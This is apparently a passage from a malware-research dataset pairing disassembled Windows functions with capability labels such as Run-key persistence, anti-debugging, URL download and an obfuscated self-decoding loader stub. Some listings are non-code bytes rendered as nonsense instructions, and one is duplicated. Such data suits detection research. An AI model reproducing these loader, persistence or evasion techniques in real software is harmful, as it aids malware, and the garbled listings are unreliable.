joyce8/EMBER2024-capa huggingface dataset:
Function at 0x423caa
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4451c8
mov eax, dword fs:[0]
push eax
push ebx
push esi
push edi
mov eax, dword [0x4570cc]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
and dword [ebp - 4], 0
xor eax, eax
mov esi, dword [ebp + 8]
inc eax
mov dword [ebx + 8], eax
mov dword [ebx + 0xc], eax
mov dword [ebx + 0x10], 0x4494a8
and dword [ebx + 0x14], 0
mov dword [ebx], 0x44bda0
mov dword [ebx + 0x10], 0x44bd80
mov dword [ebx + 0x18], esi
mov eax, dword [esi]
push esi
call dword [eax + 0xc]
mov dword [ebx + 0x20], 0x4494a8
mov dword [ebx], 0x44bd48
mov dword [ebx + 0x10], 0x44bd38
mov dword [ebx + 0x20], 0x44bd00
mov eax, dword [esi + 0x20]
mov esi, dword [esi + 0x14]
mov edi, dword [eax + 0x428]
xor eax, eax
push eax
push eax
mov dword [ebx + 0x28], eax
mov dword [ebx + 0x2c], eax
lea eax, [ebx + 0x30]
push eax
call dword [0x4481dc]
and dword [ebx + 0x48], 0
lea eax, [esi + 0x10]
mov dword [ebx + 0x4c], eax
lea ecx, [ebx + 0x50]
mov eax, dword [ebp + 0xc]
push eax
push 0x44bc98
push edi
mov dword [ebx + 0x454], eax
call fcn.004233ee
mov dword [ebx + 0x450], eax
xor eax, eax
mov dword [ebx + 0x24], eax
mov dword [ebx + 0x458], eax
mov byte [ebx + 0x45c], al
mov eax, ebx
mov dword [ebx + 0x460], 0x32
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x42b76c
Capabilities:
Encode data using xor

Disassembly:
add byte [edx], cl
add byte [edx], al
sub byte [ecx], al
add byte [esi], al
inc ecx
add byte [eax], al
push es
add bh, byte [ebx - 0xf]
add byte [eax], al
add al, 0x2c
or al, 2
jnp 0x42b771
add byte [eax], al
add al, 0x6f
sbb eax, 0x260a0001
sub al, byte [eax]
add byte [eax], al
adc esi, dword [eax]
or byte [eax], al
jo 0x42b793
add byte [ebx], dl
xor byte [eax], cl
add byte [eax], dh
add byte [eax], al
pop edi
add byte [eax], al
adc dword [edx], eax
jnp 0x42b78c
add byte [eax], al
add al, 0x2d
add dword [edx], ebp
sub byte [edx + 2], al
add byte [esi], al
sbb bl, byte [edi]
push cs
and byte [0x17c00400], al
lea esp, [edi]
add byte [ecx], al
or al, byte [esi]
push ss
invalid

Function at 0x4443c9
Capabilities:
Check for software breakpoints

Disassembly:
jbe 0x44440a
jae 0x4443fd
inc esi
push es
or ch, byte [ebx]
push es
add dword [ecx + eax], eax
xor byte [edi], 2
add dword [ecx + esi], ecx
cmp byte [eax], dh
mov al, byte ss:[0x1a801c]
push ebx
add byte [ebp], cl
push ebx
add byte [esi], dh
arpl word [eax], ax
dec eax
add byte [edi], ch
jae 0x4443f3
je 0x4443f5
add byte cs:[ebp], ah
js 0x4443fb
mov eax, dword gs:[0x68148016]
push ss
adc byte [eax + ebp*2], 0x74
je 0x444474
je 0x444477
jo 0x44443f
cmp ch, byte [edi]
das
das
insd dword es:[edi], dx
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x44443f
jb 0x44447b
jae 0x44447d
je 0x44443f
arpl word [edi + 0x6d], bp
xor byte [0x862a0906], cl
dec eax
xchg bh, dh
or eax, 0x5010101
add byte [edx + eax*4], al
add dword [eax], eax
jg 0x4443d8
adc bl, byte [esi - 0x22]
fild dword [eax]
invalid
pushal
jl 0x4443b5

Function at 0x4443fc
Capabilities:
Check for software breakpoints

Disassembly:
jbe 0x44440a
jae 0x4443fd
inc esi
push es
or ch, byte [ebx]
push es
add dword [ecx + eax], eax
xor byte [edi], 2
add dword [ecx + esi], ecx
cmp byte [eax], dh
mov al, byte ss:[0x1a801c]
push ebx
add byte [ebp], cl
push ebx
add byte [esi], dh
arpl word [eax], ax
dec eax
add byte [edi], ch
jae 0x4443f3
je 0x4443f5
add byte cs:[ebp], ah
js 0x4443fb
mov eax, dword gs:[0x68148016]
push ss
adc byte [eax + ebp*2], 0x74
je 0x444474
je 0x444477
jo 0x44443f
cmp ch, byte [edi]
das
das
insd dword es:[edi], dx
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x44443f
jb 0x44447b
jae 0x44447d
je 0x44443f
arpl word [edi + 0x6d], bp
xor byte [0x862a0906], cl
dec eax
xchg bh, dh
or eax, 0x5010101
add byte [edx + eax*4], al
add dword [eax], eax
jg 0x4443d8
adc bl, byte [esi - 0x22]
fild dword [eax]
invalid
pushal
jl 0x4443b5
Function at 0x10001430
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10003020]
jne 0x1000143a
repz ret
jmp fcn.100017d0

Function at 0x1000148d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x1000149c
pop dword [ebp - 0x44]
mov eax, 0x1000149c
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xe153513d
add dword [ebp - 0x54], 0x6cfef40e
mov dword [ebp - 0x50], 0xd2abf8e8
add dword [ebp - 0x50], 0x5f87535d
mov dword [ebp - 0x4c], 0x7b627c09
add dword [ebp - 0x4c], 0xd0e9c825
mov dword [ebp - 0x48], 0xdbbab352
sub dword [ebp - 0x48], 0xdbbab352
lea eax, [ebp - 0x54]
push eax
mov eax, 0xe0d5495d
sub eax, 0xd0d5390d
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x7b91356e
sub dword [ebp - 0x54], 0x71ecc18
mov dword [ebp - 0x50], 0x4cea33c0
add dword [ebp - 0x50], 0xf4822db5
mov dword [ebp - 0x4c], 0x6bb6754a
sub dword [ebp - 0x4c], 0x84708de
mov dword [ebp - 0x48], 0xa618f161
add dword [ebp - 0x48], 0x59e70e9f
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x32d6b
push 0
call eax
mov ecx, 0x4682ce9c
add ecx, 0xb97d6ad4
mov esi, eax
mov edi, 0x10005200
add edi, dword [ebp - 0x44]
mov edx, 0x9d7eb310
xor dword [ebp - 0x38], 0x1fa68ebd
mov ebx, dword [edi]
mov dword [ebp - 0x2c], 0xe321d265
add ebx, edx
add dword [ebp - 0x34], 0xa4dbda20
mov dword [esi], ebx
add dword [ebp - 0x40], 0x1a2c2288
add esi, 0x87488a79
sub esi, 0x87488a75
add edi, 0x7b99d716
add edi, 0x846628ee
loop 0x100015a8
add eax, 0xd893
xor ebx, ebx
add ebx, eax
add eax, 0x7e9ceeac
add eax, 0x81631159
mov ecx, 0xc488c6b4
sub ecx, 0xb488c6b4
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x401338
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40134d
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x40135f
xor eax, eax
jmp 0x401391
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x401383
cmp esi, eax
jae 0x40135b
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401375
cmp esi, eax
jae 0x40135b
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop ebp
ret

Function at 0x401459
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0x20006
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401493
push str.dotNetInstallerBoot
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret

Function at 0x401495
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 0x10]
push eax
push str.SeShutdownPrivilege
xor esi, esi
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push esi
push esi
push esi
lea eax, [ebp - 0x14]
push eax
push esi
push dword [ebp - 4]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push 2
call dword [sym.imp.USER32.dll_ExitWindowsEx]
pop esi
leave
ret
Function at 0x4014f2
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0xa4
mov eax, dword [0x43b1fc]
push esi
mov esi, 0x9c
push esi
mov dword [ebp + 0x74], eax
lea eax, [ebp - 0x28]
push 0
push eax
call fcn.004122f0
add esp, 0xc
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push eax
call esi
test eax, eax
jne 0x401542
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 0x28], 0x94
call esi
test eax, eax
je 0x401693
mov eax, dword [ebp - 0x18]
sub eax, 0
je 0x40168a
dec eax
je 0x401635
dec eax
jne 0x40168e
cmp dword [ebp - 0x24], 5
mov eax, dword [ebp - 0x20]
jne 0x40156e
cmp eax, 2
ja 0x401570
cmp dword [ebp - 0x24], 5
jbe 0x401577
push 0x64
jmp 0x401687
cmp dword [ebp - 0x24], 5
jne 0x4015e5
cmp eax, 2
jne 0x401589
push 0x5a
jmp 0x401687
cmp eax, 1
jne 0x4015a2
cmp word [ebp + 0x6c], ax
push 0x4b
pop esi
jb 0x401691
push 0x50
jmp 0x401687
test eax, eax
jne 0x4015e5
mov ax, word [ebp + 0x6c]
cmp ax, 4
push 0x2d
pop esi
jb 0x4015ba
push 0x41
jmp 0x401687
cmp ax, 3
jne 0x4015c7
push 0x3c
jmp 0x401687
cmp ax, 2
jne 0x4015d4
push 0x37
jmp 0x401687
cmp ax, 1
jne 0x401691
push 0x32
jmp 0x401687
push 0x1e
pop esi
push str.Service_Pack_6
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x24], 4
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x401691
lea eax, [ebp - 0x2c]
push eax
push 1
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionHotfixQ246009
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push dword [ebp - 0x2c]
mov esi, eax
neg esi
sbb esi, esi
and esi, 0xfffffffb
add esi, 0x28
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x401691
cmp dword [ebp - 0x24], 4
mov eax, dword [ebp - 0x20]
jne 0x40164b
cmp eax, 0x5a
ja 0x401570
cmp dword [ebp - 0x24], 4
ja 0x401570
cmp dword [ebp - 0x24], 4
jne 0x40168a
cmp eax, 0x5a
jne 0x401660
push 0x19
jmp 0x401687
cmp eax, 0xa
jne 0x401672
cmp byte [ebp - 0x13], 0x41
push 0xf
pop esi
jne 0x401691
push 0x14
jmp 0x401687
test eax, eax
jne 0x40168a
cmp byte [ebp - 0x13], 0x43
push 5
pop esi
je 0x401685
cmp byte [ebp - 0x13], 0x42
jne 0x401691
push 0xa
pop esi
jmp 0x401691
xor esi, esi
jmp 0x401691
mov esi, dword [ebp - 0x2c]
mov eax, esi
mov ecx, dword [ebp + 0x74]
pop esi
call fcn.00411474
add ebp, 0x78
leave
ret

Function at 0x403646
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x43b1fc]
and dword [ebp - 0x110], 0
push esi
mov esi, 0x105
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x10c]
push 0
push eax
call fcn.004122f0
add esp, 0xc
lea eax, [ebp - 0x10c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x10c]
push eax
call fcn.0040335c
mov ecx, dword [ebp - 4]
mov eax, dword [ebp + 8]
pop esi
call fcn.00411474
leave
ret
Function at 0x4036a1
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x90]
sub esp, 0x110
mov eax, dword [0x43b1fc]
and dword [ebp - 0x80], 0
mov dword [ebp + 0x8c], eax
push 0x105
lea eax, [ebp - 0x7c]
push 0
push eax
call fcn.004122f0
lea eax, [ebp - 0x80]
push eax
call fcn.00403646
add esp, 0x10
lea ecx, [ebp - 0x7c]
push ecx
push 0
push 0x42d90c
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov ecx, dword [ebp - 0x80]
add ecx, 0xfffffff0
call fcn.004010c5
mov ecx, dword [ebp + 0x98]
lea eax, [ebp - 0x7c]
push eax
call fcn.0040335c
mov ecx, dword [ebp + 0x8c]
mov eax, dword [ebp + 0x98]
call fcn.00411474
add ebp, 0x90
leave
ret

Function at 0x403895
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov esi, eax
test esi, esi
jne 0x4038b5
call fcn.0040390a
jmp 0x403907
push edi
push esi
call fcn.0041f5a2
pop ecx
mov edi, eax
push edi
push esi
push dword [ebp - 4]
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
jne 0x4038d7
call fcn.0040390a
jmp 0x403906
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0x42d918
push edi
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x4038d0
push 0x34
push dword [ebp - 8]
push dword [ebp + 0xc]
call fcn.00411bc0
push edi
call fcn.0041f59d
add esp, 0x10
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x4039b2
Capabilities:
Get common file path

Disassembly:
mov eax, 0x42b739
call fcn.00411950
sub esp, 0x324
mov eax, dword [0x43b1fc]
push esi
mov dword [ebp - 0x10], eax
push edi
lea eax, [ebp - 0x330]
xor edi, edi
push eax
mov dword [ebp - 0x330], edi
call fcn.00403603
mov esi, 0x105
push esi
lea eax, [ebp - 0x118]
push edi
push eax
mov dword [ebp - 4], edi
call fcn.004122f0
add esp, 0x10
push esi
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push esi
lea eax, [ebp - 0x328]
push edi
push eax
call fcn.004122f0
add esp, 0xc
push esi
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push esi
lea eax, [ebp - 0x220]
push edi
push eax
call fcn.004122f0
add esp, 0xc
lea eax, [ebp - 0x220]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push dword [ebp + 0xc]
lea ecx, [ebp - 0x32c]
call fcn.0040335c
mov esi, dword [ebp - 0x330]
push esi
push str.APPPATH
lea ecx, [ebp - 0x32c]
mov byte [ebp - 4], 1
call fcn.004026bc
lea eax, [ebp - 0x118]
push eax
push str.SYSTEMPATH
lea ecx, [ebp - 0x32c]
call fcn.004026bc
lea eax, [ebp - 0x328]
push eax
push str.WINDOWSPATH
lea ecx, [ebp - 0x32c]
call fcn.004026bc
lea eax, [ebp - 0x220]
push eax
push str.TEMPPATH
lea ecx, [ebp - 0x32c]
call fcn.004026bc
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x32c]
push eax
call fcn.00401eb4
mov ecx, dword [ebp - 0x32c]
add ecx, 0xfffffff0
call fcn.004010c5
lea ecx, [esi - 0x10]
call fcn.004010c5
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
call fcn.00411474
leave
ret
Function at 0x403c0b
Capabilities:
Get common file path
Get file version info

Disassembly:
mov eax, 0x42b74e
call fcn.00411950
sub esp, 0x120
mov eax, dword [0x43b1fc]
push ebx
push esi
push edi
xor edi, edi
mov esi, 0x105
push esi
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x118]
push edi
push eax
mov dword [ebp - 0x120], edi
mov dword [ebp - 0x128], edi
call fcn.004122f0
add esp, 0xc
push esi
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x5c
push str.user.exe
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x124]
push eax
call fcn.00403482
add esp, 0x10
lea eax, [ebp - 0x12c]
push eax
push dword [ebp - 0x124]
mov dword [ebp - 4], edi
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov esi, eax
cmp esi, edi
jbe 0x403d0c
push esi
call fcn.004128d8
mov ebx, eax
cmp ebx, edi
pop ecx
je 0x403d0c
mov edi, dword [ebp - 0x124]
push ebx
push esi
push dword [ebp - 0x12c]
push edi
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
je 0x403d0c
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0x120]
push eax
push str.VarFileInfoTranslation
push ebx
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x403d0c
cmp dword [ebp - 0x128], 4
jb 0x403d0c
mov eax, dword [ebp - 0x120]
mov esi, dword [eax]
push ebx
call fcn.004127c0
pop ecx
lea ecx, [edi - 0x10]
call fcn.004010c5
mov ecx, dword [ebp - 0xc]
pop edi
movzx eax, si
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.00411474
leave
ret
or dword [ebp - 0x11c], 0xffffffff
push 0x435104
lea eax, [ebp - 0x11c]
push eax
call fcn.004123b2
int3

Function at 0x403d25
Capabilities:
Delete file
Write file on windows

Disassembly:
mov eax, 0x42b993
call fcn.00411950
sub esp, 0xc
push esi
lea eax, [ebp - 0x10]
push edi
push eax
call fcn.004036a1
pop ecx
xor esi, esi
push esi
push 0x80
push 2
push esi
push 1
push 0x40000000
push dword [ebp - 0x10]
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x403d82
push esi
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x14], esi
mov esi, dword [ebp + 0xc]
push esi
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x403d82
cmp dword [ebp - 0x14], esi
je 0x403d94
or dword [ebp - 0x18], 0xffffffff
push 0x435104
lea eax, [ebp - 0x18]
push eax
call fcn.004123b2
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x10]
call fcn.004016a1
pop ecx
push dword [ebp - 0x10]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.004010c5
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x4041e1
Capabilities:
Access peb ldr_data
Get ntdll base address
Get process heap flags
Get process heap force flags

Disassembly:
mov eax, 0x42b810
call fcn.00411950
push ecx
push esi
mov esi, ecx
lea ecx, [esi + 8]
mov dword [esi], 0x42dbf0
call fcn.00401ea0
lea ecx, [esi + 0xc]
call fcn.00401ea0
lea ecx, [esi + 0x10]
call fcn.00401ea0
lea ecx, [esi + 0x14]
call fcn.00401ea0
lea ecx, [esi + 0x18]
call fcn.00401ea0
lea ecx, [esi + 0x1c]
call fcn.00401ea0
xor eax, eax
lea ecx, [esi + 0x34]
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], eax
mov dword [esi + 0x30], eax
call fcn.00402d27
mov ecx, dword [esp + 8]
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x404300
Capabilities:
Access peb ldr_data
Get process heap flags
Get process heap force flags

Disassembly:
mov eax, 0x42b8cb
call fcn.00411950
push ecx
push esi
mov esi, ecx
call fcn.00401ea0
lea ecx, [esi + 4]
call fcn.00401ea0
lea ecx, [esi + 8]
call fcn.00401ea0
lea ecx, [esi + 0xc]
call fcn.00401ea0
lea ecx, [esi + 0x10]
call fcn.00401ea0
lea ecx, [esi + 0x14]
call fcn.00401ea0
lea ecx, [esi + 0x18]
call fcn.00401ea0
lea ecx, [esi + 0x1c]
call fcn.00401ea0
lea ecx, [esi + 0x20]
call fcn.00401ea0
lea ecx, [esi + 0x24]
call fcn.00401ea0
lea ecx, [esi + 0x28]
call fcn.00401ea0
lea ecx, [esi + 0x2c]
call fcn.00401ea0
lea ecx, [esi + 0x30]
call fcn.00401ea0
lea ecx, [esi + 0x34]
call fcn.00401ea0
mov ecx, dword [esp + 8]
xor eax, eax
mov dword [esi + 0x3c], eax
mov dword [esi + 0x40], eax
mov dword [esi + 0x44], eax
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x404b50
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
push 0x44
xor esi, esi
lea eax, [ebp - 0x44]
push esi
push eax
call fcn.004122f0
add esp, 0xc
push dword [ebp + 0xc]
lea eax, [ebp - 0x44]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 0x44], 0x44
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
setne al
pop esi
leave
ret
Function at 0x406847
Capabilities:
Create directory
Download url
Receive data

Disassembly:
mov eax, 0x42bcf5
call fcn.00411950
sub esp, 0xc
push ebx
push esi
mov esi, ecx
call fcn.00423c51
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
xor ebx, ebx
cmp dword [ecx - 0xc], ebx
mov dword [ebp - 4], ebx
jg 0x4068ad
push dword [eax]
lea eax, [ebp - 0x18]
push eax
call fcn.0040673f
mov eax, dword [eax]
mov ecx, dword [esi + 8]
mov ecx, dword [ecx + 4]
push 0x5c
push eax
push ecx
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 4], 1
call fcn.00403482
add esp, 0x18
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.00402c4d
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.004010c5
jmp 0x4068d3
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov eax, dword [eax + 4]
push 0x5c
push ecx
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.00403482
add esp, 0x10
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 3
call fcn.00402c4d
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
mov byte [ebp - 4], bl
call fcn.004010c5
mov eax, dword [esi + 8]
push ebx
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov eax, dword [esi + 8]
mov eax, dword [eax]
push esi
mov esi, dword [ebp - 0x10]
push ebx
push esi
push eax
push ebx
call sub.urlmon.dll_URLDownloadToFileA
cmp eax, ebx
jge 0x406915
mov dword [ebp - 0x18], eax
push 0x435df8
lea eax, [ebp - 0x18]
push eax
call fcn.004123b2
lea ecx, [esi - 0x10]
call fcn.004010c5
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x407cff
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
xor edi, edi
push edi
push 0x80
push 3
push edi
push 1
push SysReAllocString
push dword [ebp + 8]
mov dword [ebp - 4], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x407d2f
xor al, al
jmp 0x407d8f
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
mov dword [ebp + 8], eax
call fcn.0041f5a2
push dword [ebp + 8]
mov ebx, eax
push edi
push ebx
call fcn.004122f0
add esp, 0x10
push edi
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
push esi
jne 0x407d6f
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x407d8e
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
push ebx
call fcn.00407923
test eax, eax
je 0x407d6b
push ebx
call fcn.0041f59d
pop ecx
mov al, 1
pop ebx
pop edi
pop esi
leave
ret 8
Function at 0x408250
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
je 0x4082a3
call fcn.00428447
mov edi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, ebx
je 0x4082a3
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebx
mov dword [ebp - 8], eax
jne 0x408299
xor eax, eax
jmp 0x4083bc
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], ebx
mov ebx, dword [ebp + 8]
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0xc], 1
je 0x4082d3
mov eax, dword [esi]
push edi
push dword [ebp - 4]
mov ecx, esi
push ebx
call dword [eax + 0x1c]
cmp dword [ebp - 8], 0
mov dword [ebp - 0xc], eax
je 0x4082d3
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [ebx + 0x48]
test eax, eax
je 0x4083b9
mov ecx, dword [eax + 0x40]
and dword [ebp + 0xc], 0
test ecx, ecx
mov dword [ebp + 8], ecx
mov dword [ebp - 8], ecx
je 0x408300
lea ecx, [eax + 0x3c]
lea eax, [ebp + 8]
push eax
call fcn.004098ae
mov eax, dword [eax]
mov dword [ebp + 0xc], eax
xor eax, eax
cmp dword [edi + 8], eax
mov dword [ebp - 4], eax
jbe 0x4083b9
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x408349
mov ecx, dword [ecx + 4]
mov edx, dword [edi + 0xc]
mov ecx, dword [ecx + 0x28]
cmp ecx, dword [edx + eax*8]
jne 0x408349
mov eax, dword [ebp + 8]
test eax, eax
mov dword [ebp - 8], eax
je 0x408343
mov ecx, dword [ebx + 0x48]
lea eax, [ebp + 8]
add ecx, 0x3c
push eax
call fcn.004098ae
mov eax, dword [eax]
mov dword [ebp + 0xc], eax
jmp 0x4083a9
and dword [ebp + 0xc], 0
jmp 0x4083a9
mov ecx, dword [edi + 0xc]
shl eax, 3
cmp dword [eax + ecx], 0
mov dword [ebp - 0x10], eax
je 0x4083a9
push 0xc
call fcn.0041f572
mov esi, eax
test esi, esi
pop ecx
je 0x40838b
mov eax, dword [edi + 0xc]
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebx + 0x1c]
add eax, edx
push dword [eax]
mov edi, dword [eax + 4]
push ecx
call dword [sym.imp.USER32.dll_GetDlgItem]
and dword [esi + 4], 0
mov dword [esi + 8], edi
mov edi, dword [ebp + 0x10]
mov dword [esi], eax
jmp 0x40838d
xor esi, esi
mov ecx, dword [ebx + 0x48]
add ecx, 0x3c
cmp dword [ebp - 8], 0
push esi
je 0x4083a4
push dword [ebp - 8]
call fcn.0041e01c
jmp 0x4083a9
call fcn.0041dff3
mov eax, dword [ebp - 4]
inc eax
cmp eax, dword [edi + 8]
mov dword [ebp - 4], eax
jb 0x40830e
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc